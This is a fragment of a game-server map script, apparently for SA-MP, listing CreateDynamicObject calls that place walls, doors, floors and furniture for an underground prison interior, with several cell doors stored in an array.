CreateDynamicObject(19377, 2594.23755, -1536.94226, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.73657, -1536.92224, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1536.97681, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2572.73511, -1541.61340, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2582.35132, -1541.61340, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2591.98022, -1541.61340, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2601.59912, -1541.61340, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2611.22363, -1541.61340, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2609.64673, -1536.97681, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2609.64673, -1527.34375, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2609.64673, -1517.71619, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2609.64673, -1508.08655, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2609.64673, -1498.46826, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2609.64673, -1488.84753, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2577.53418, -1485.62036, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2578.33325, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19411, 2580.72949, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2582.39258, -1487.15344, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2588.80151, -1487.15344, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19365, 2579.20117, -1487.15344, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2595.20630, -1487.15344, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2601.62769, -1487.15344, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2585.52222, -1491.90063, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73438, -1491.96057, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2585.53613, -1483.94971, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19394, 2579.12988, -1483.94971, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2591.95581, -1483.94971, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2598.36108, -1483.94971, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19394, 2607.97900, -1483.94971, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2604.77515, -1483.94971, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2606.36792, -1491.89099, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73438, -1501.58716, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2583.94214, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19411, 2575.93896, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2573.54858, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19411, 2571.15869, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2568.76416, -1491.93372, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2588.71118, -1496.64905, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2606.36792, -1498.30066, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2595.12354, -1496.64905, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2593.50073, -1498.25647, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2591.92236, -1496.64905, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2579.10840, -1496.64905, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2572.69751, -1496.64905, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2593.50073, -1504.66357, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2606.36792, -1504.71655, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73438, -1536.85156, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2596.73438, -1511.19775, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2579.10498, -1532.16663, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19394, 2572.68799, -1532.16663, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2593.50073, -1514.29639, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2593.50073, -1523.92566, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2580.17871, -1537.02161, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2592.84033, -1533.52258, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2588.73242, -1532.16663, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19365, 2569.49292, -1532.16663, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2593.50073, -1530.33081, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2592.84058, -1536.72754, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2592.84058, -1539.92944, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2606.36792, -1514.33423, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2581.71582, -1535.09802, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2588.12769, -1535.09802, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2591.31812, -1535.10168, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2586.59912, -1539.92896, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73438, -1527.22974, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73438, -1517.60791, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2596.73438, -1508.00098, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2601.62329, -1538.23767, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2606.36792, -1523.92163, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14410, 2603.18066, -1540.22668, -49.42110,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2606.36792, -1533.50403, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2601.46436, -1522.82019, -48.15700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19365, 2606.36792, -1527.10815, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2606.36792, -1520.74219, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19377, 2580.90771, -1537.05920, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1527.34375, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1517.71619, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1508.08655, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1498.46826, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2579.10498, -1532.16663, -44.66560,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2588.73242, -1532.16663, -44.66560,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19365, 2569.49292, -1532.16663, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2569.50122, -1496.64905, -44.66560,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19365, 2591.92236, -1496.64905, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2588.72119, -1496.64905, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2575.88525, -1496.64905, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2572.67749, -1532.16663, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2611.22363, -1541.61340, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2601.59912, -1541.61340, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2591.98022, -1541.61340, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2609.64673, -1536.97681, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2601.46338, -1538.23767, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2593.46069, -1536.82861, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19303, 2588.88403, -1517.11194, -48.66390,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[5][ciObjID] = CreateDynamicObject(19303, 2588.82397, -1518.85535, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1500, 2577.50000, -1484.82642, -49.92000,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1499, 2592.84473, -1534.26465, -49.92010,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1500, 2595.95532, -1487.13977, -49.92000,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(14410, 2574.25952, -1498.61865, -49.42110,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2572.72388, -1504.14124, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2585.51172, -1496.64905, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2582.30908, -1496.64905, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14410, 2591.63647, -1525.89551, -49.42110,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19457, 2589.66089, -1527.42822, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2590.38696, -1519.81201, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1519.81201, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1516.14624, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[4][ciObjID] = CreateDynamicObject(19303, 2588.82397, -1515.19543, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2588.88403, -1513.45361, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1512.49951, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[3][ciObjID] = CreateDynamicObject(19303, 2588.82397, -1511.55188, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2588.88403, -1509.80188, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1508.83838, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[2][ciObjID] = CreateDynamicObject(19303, 2588.82397, -1507.86768, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2588.88403, -1506.13000, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1505.17712, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[1][ciObjID] = CreateDynamicObject(19303, 2588.82397, -1504.22510, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2588.88403, -1502.47522, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1501.50879, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1516.14624, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1508.83838, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1512.49951, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1505.17712, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1501.50879, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1501.50879, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1501.50879, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2590.38696, -1519.81201, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2592.78369, -1519.81201, -44.66560,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[13][ciObjID] = CreateDynamicObject(19303, 2577.49097, -1501.45276, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2577.43091, -1503.18945, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2572.72388, -1500.48474, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[12][ciObjID] = CreateDynamicObject(19303, 2577.49097, -1505.09802, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2577.43091, -1506.82947, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2572.72388, -1507.78198, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[11][ciObjID] = CreateDynamicObject(19303, 2577.49097, -1508.74573, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2577.43091, -1510.49683, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2572.72388, -1511.46228, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[10][ciObjID] = CreateDynamicObject(19303, 2577.49097, -1512.40625, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2577.41772, -1514.14026, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2572.72388, -1515.10449, -48.15700,   0.00000, 0.00000, 90.00000);
ZendanInfoEx[9][ciObjID] = CreateDynamicObject(19303, 2577.49097, -1516.07214, -48.66390,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2577.43091, -1517.80591, -48.66390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2572.72388, -1518.77844, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2588.69189, -1522.68372, -48.66390,   0.00000, 0.00000, 0.00000);
ZendanInfoEx[6][ciObjID] = CreateDynamicObject(19303, 2586.95972, -1522.64368, -48.66390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19457, 2585.99341, -1527.42822, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19303, 2585.02905, -1522.68372, -48.66390,   0.00000, 0.00000, 0.00000);
ZendanInfoEx[7][ciObjID] = CreateDynamicObject(19303, 2583.27686, -1522.64368, -48.66390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19457, 2582.31201, -1527.42822, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19303, 2581.36182, -1522.70374, -48.66390,   0.00000, 0.00000, 0.00000);
ZendanInfoEx[8][ciObjID] = CreateDynamicObject(19303, 2579.62646, -1522.64368, -48.66390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19365, 2584.92163, -1535.09802, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2578.66724, -1527.42822, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2583.44385, -1529.08032, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2589.85205, -1529.08032, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2571.35767, -1513.92432, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2571.35767, -1504.30652, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1533, 2596.31348, -1541.49646, -49.91540,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1537, 2593.30347, -1541.50256, -49.91520,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19365, 2593.49902, -1530.65002, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2579.30176, -1529.71985, -49.93800,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2819, 2572.33154, -1515.02246, -46.24090,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2843, 2571.78833, -1507.56091, -46.24090,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2844, 2573.01489, -1517.60657, -46.24090,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2852, 2569.12988, -1519.36218, -49.91600,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2855, 2568.41553, -1519.85400, -49.91580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2591.57056, -1500.70532, -49.51590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1369, 2572.51929, -1508.48364, -45.63970,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1810, 2592.69019, -1500.98840, -49.91660,   0.00000, 0.00000, -120.00000);
CreateDynamicObject(1712, 2575.10474, -1521.60791, -49.91530,   0.00000, 0.00000, 220.00000);
CreateDynamicObject(1710, 2572.42480, -1522.98169, -49.91550,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2202, 2568.61523, -1485.09546, -49.91860,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2602, 2572.80518, -1503.66809, -49.35030,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2718, 2583.29663, -1496.86487, -47.33910,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2713, 2586.62939, -1496.74292, -47.07579,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2670, 2588.79297, -1505.17224, -49.81600,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2671, 2577.37207, -1511.55420, -49.89690,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2673, 2585.87183, -1522.61853, -49.81540,   0.00000, 0.00000, 0.00000);
prisonmolaghat = CreateDynamicObject(2930, 2578.28296, -1496.61218, -47.34000,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2930, 2587.85669, -1496.61206, -47.34000,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2930, 2593.56958, -1497.41870, -47.34000,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2586.58960, -1529.61963, -49.93800,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2585.10864, -1528.30640, -49.93800,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2593.82910, -1519.16614, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2594.43774, -1502.44714, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2594.09326, -1508.22900, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2594.49976, -1515.55029, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2593.84644, -1509.71021, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2576.26758, -1501.41138, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2575.28101, -1517.93799, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2576.25122, -1514.52551, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2576.31226, -1508.65601, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2575.98706, -1507.13489, -49.93800,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19394, 2604.76782, -1530.64587, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2591.71436, -1542.23181, -49.93800,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2585.56396, -1542.43237, -49.93800,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73291, -1501.50732, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2593.50073, -1500.78638, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2593.50073, -1496.67261, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.86792, -1503.19250, -46.60810,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(3278, -1502.87170, -44.73340, -44.73340,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2578.66724, -1527.42786, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2572.72388, -1518.77844, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2580.88477, -1491.93469, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2575.99390, -1491.95569, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2571.26660, -1491.93286, -48.07390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1649, 2571.26660, -1491.93286, -48.07390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1649, 2575.99390, -1491.95569, -48.07390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1649, 2580.88477, -1491.93469, -48.07390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19438, 2578.31860, -1492.65125, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2573.61475, -1492.65125, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2597.53979, -1530.64587, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2602.35913, -1530.64502, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1649, 2600.22559, -1530.64111, -48.07390,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19365, 2599.94849, -1530.64502, -50.79670,   0.00000, 180.00000, 90.00000);
CreateDynamicObject(19450, 2572.74170, -1487.11389, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19388, 2577.52100, -1485.62708, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19450, 2577.52100, -1479.22351, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19450, 2568.04858, -1482.28113, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19450, 2568.04858, -1472.68555, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19450, 2572.70215, -1474.37366, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19376, 2572.30908, -1482.24805, -49.98540,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19376, 2572.29688, -1472.63074, -49.98540,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19376, 2585.49756, -1479.14197, -49.98540,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19376, 2582.85132, -1479.14355, -49.98600,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(1491, 2581.60938, -1487.16541, -49.92915,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1491, 2578.34424, -1483.96143, -49.92915,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1491, 2591.17407, -1483.97058, -49.92915,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1491, 2607.19409, -1483.95923, -49.92915,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1491, 2606.38599, -1499.04651, -49.92910,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 2606.36719, -1524.65271, -49.92910,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 2596.74072, -1511.93921, -49.92910,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 2603.99561, -1530.66272, -49.92910,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2596.73438, -1535.11438, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2596.73438, -1537.50696, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.71509, -1528.70300, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2596.73438, -1522.29004, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2596.73438, -1515.88171, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19394, 2596.73438, -1507.94800, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2596.73633, -1510.28113, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1491, 2596.74634, -1508.70105, -46.41220,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 2596.74268, -1523.02856, -46.39220,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 2596.73853, -1535.85486, -46.41220,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19383, 2596.74243, -1511.18933, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19389, 2607.98511, -1483.93140, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19451, 2600.04883, -1479.17151, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19459, 2568.00049, -1487.06604, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19413, 2580.72876, -1491.91785, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19395, 2582.39893, -1487.16382, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19440, 2578.33716, -1491.91785, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19445, 2601.62573, -1519.32007, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19390, 2596.74512, -1522.29639, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19453, 2596.74512, -1515.88208, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19446, 2601.57861, -1503.61792, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19384, 2606.36426, -1498.30371, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19453, 2577.64526, -1479.12122, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19390, 2579.13159, -1483.94873, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19453, 2590.37671, -1479.16846, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19451, 2590.70972, -1479.03870, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19451, 2595.59399, -1474.44043, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19451, 2604.87866, -1476.27332, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19451, 2609.63794, -1479.12170, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19453, 2585.53589, -1483.94873, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19453, 2586.36011, -1474.33655, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19453, 2576.73926, -1474.33655, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19445, 2606.31226, -1514.43140, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19445, 2601.52612, -1509.52893, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19445, 2596.74243, -1517.60657, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19451, 2601.56958, -1483.93140, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19446, 2606.36426, -1491.89954, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19446, 2601.50659, -1487.19727, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19446, 2596.81445, -1492.05701, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19446, 2596.81396, -1501.69055, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19446, 2606.36426, -1504.71265, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19460, 2605.17773, -1523.80847, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19396, 2596.74243, -1507.93945, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19441, 2596.75220, -1537.48865, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19459, 2575.99341, -1487.16382, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19459, 2566.37207, -1487.16382, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19367, 2585.52173, -1490.38965, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19440, 2584.78125, -1487.16980, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19440, 2585.52173, -1488.00598, -48.15700,   0.00000, 0.00000, 0.00000);
